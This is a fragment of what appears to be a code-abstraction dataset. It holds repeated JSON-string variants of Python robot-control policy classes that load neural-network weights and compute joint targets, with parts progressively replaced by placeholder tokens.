range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\ndef toRobot(positions):\n index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,\n 6, 7]\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048\n return robotState[index].astype(int)\n\n\n<code token>\n",
"<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n <function token>\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n <function token>\n <function token>\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n\n\nclass NP_Net:\n <function token>\n <function token>\n <function token>\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
"<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n",
